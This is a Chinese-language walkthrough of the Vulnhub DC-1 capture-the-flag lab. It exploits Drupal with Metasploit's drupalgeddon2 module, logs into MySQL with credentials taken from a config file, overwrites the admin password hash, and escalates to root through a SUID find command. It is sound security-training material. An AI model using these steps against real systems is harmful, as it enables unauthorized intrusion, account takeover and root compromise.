Vulnhub实战靶场:DC-1

一、环境搭建

1、官网下载连接:https://www.vulnhub.com/entry/dc-1,292/

2、下载之后,使用Oracle VM VirtualBox导入靶场环境

3、为了正常练习,将靶场的网卡模式设置为桥接模式,启动即可

二、靶场攻略

1、使用nmap,快读探测网段内存活主机,输入命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 10.10.114.0/24,发现靶场主机ip地址

 2、探测靶场主机启动的端口服务器情况,寻找突破口

输入命令:nmap -A -P- 10.10.114.146,发现开启的端口有22,80,111,33409

 

3、访问80端口,寻找突破口,发现靶场使用的为Drupal的CMS

 4、启动msf,在msf中输入命令:search Drupal,搜索到了利用的exp

 输入命令:use exploit/unix/webapp/drupal_drupalgeddon2,使用该exp

输入命令:set rhosts 10.10.114.146,设置目标

输入命令:run,启动攻击,成功getshell

 输入命令:python -c 'import pty;pty.spawn("/bin/bash")',获取交互shell

 5、在www目录中,发现flag1.txt,还有下一步的提示

 6、根据提示,寻找到配置文件,还有flag2,获得下一步提示

 7、根据配置文件和提示,登录到数据库中,寻找下一步突破口

输入命令:mysql -udbuser -pR0ck3t

 进入到配置文件中的数据库drupaldb中,查看drupaldb数据库的表,获得users表

获得users表中的账号密码信息

 

 8、密码是没法破解成功的,搜寻资料,知道了Drupal的加密脚本在文件中,所以可以使用加密文件,将自己想要的密码使用加密文件加密,之后将加密的字符写入到对于的数据表中来登录

重置密码的方法

 根据官网的方法使用命令:./scripts/password-hash.sh admin,获得到加密的字符

 然后将得到的加密字符,写入到mysql数据库对于的admin账户中

在mysql数据库中输入命令:update users set pass='$S$DROGKHBo1wFwcVZI7HBpIaxVUGKsUx3ktf6Zn4aqCzZueCiJHHmN' where uid=1;

 

 使用修改后的admin管理员,成功登录后台

 9、在后台的Dashboard(仪表盘)处,发现flag3

 10、返回shell中,寻找flag4,查看到下一步提醒,要获得最后的flag,需要root权限

 11、进行最后的提权,之前find命令既然可以执行,可以尝试find提权

输入命令:find / -user root -perm -4000 -print 2>/dev/null
输入命令:find / -perm -u=s -type f 2>/dev/null
输入命令:find / -user root -perm -4000 -exec ls -ldb {} ;

发现这几个命令都可以正常执行

 既然都可以正常执行,说明存在find的uid提权操作

切换到可写目录www中

输入命令:touch shell

之后输入命令:find -name shell -exec "/bin/sh" ; 成功提权,之后切换到/root目录中,获得最后的flag文件

 

 完

原文地址:https://www.cnblogs.com/sym945/p/13731151.html